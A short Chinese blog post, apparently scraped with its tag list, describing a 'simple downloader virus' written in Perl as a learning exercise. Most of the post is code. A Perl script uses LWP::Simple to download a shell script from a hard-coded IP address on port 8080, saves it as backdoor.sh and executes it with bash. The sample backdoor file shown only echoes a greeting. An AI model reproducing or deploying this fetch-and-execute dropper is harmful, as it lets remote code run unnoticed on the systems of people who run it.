用Perl做個簡單”下載者病毒”

標籤：div   .com   理解   use   ror   bsp   back   imp   ash   

一直學的perl, 有時perl不理解時就用python寫一下，這樣或許perl就理解了
這裡參照python寫法，做了個perl的版本，當然，是為了學慣用，這個下載者病毒有點簡單過頭了

 

backdoor.sh後門程式代碼如下:
backdoor.sh

1 #!/bin/sh2 echo ‘Hello, Python‘

下面為perl的shell.pl代碼:
shell.pl

1 #!/usr/bin/perl2 use LWP::Simple;3  4 my $backdoor_content = get(‘http://45.63.49.167:8080/shell.sh‘);5 open BACKDOOR, ">", ‘backdoor.sh‘ or die "Dowload Error:$!\n";6 print BACKDOOR $backdoor_content;7 system(‘/bin/bash backdoor.sh‘);

 

用Perl做個簡單”下載者病毒”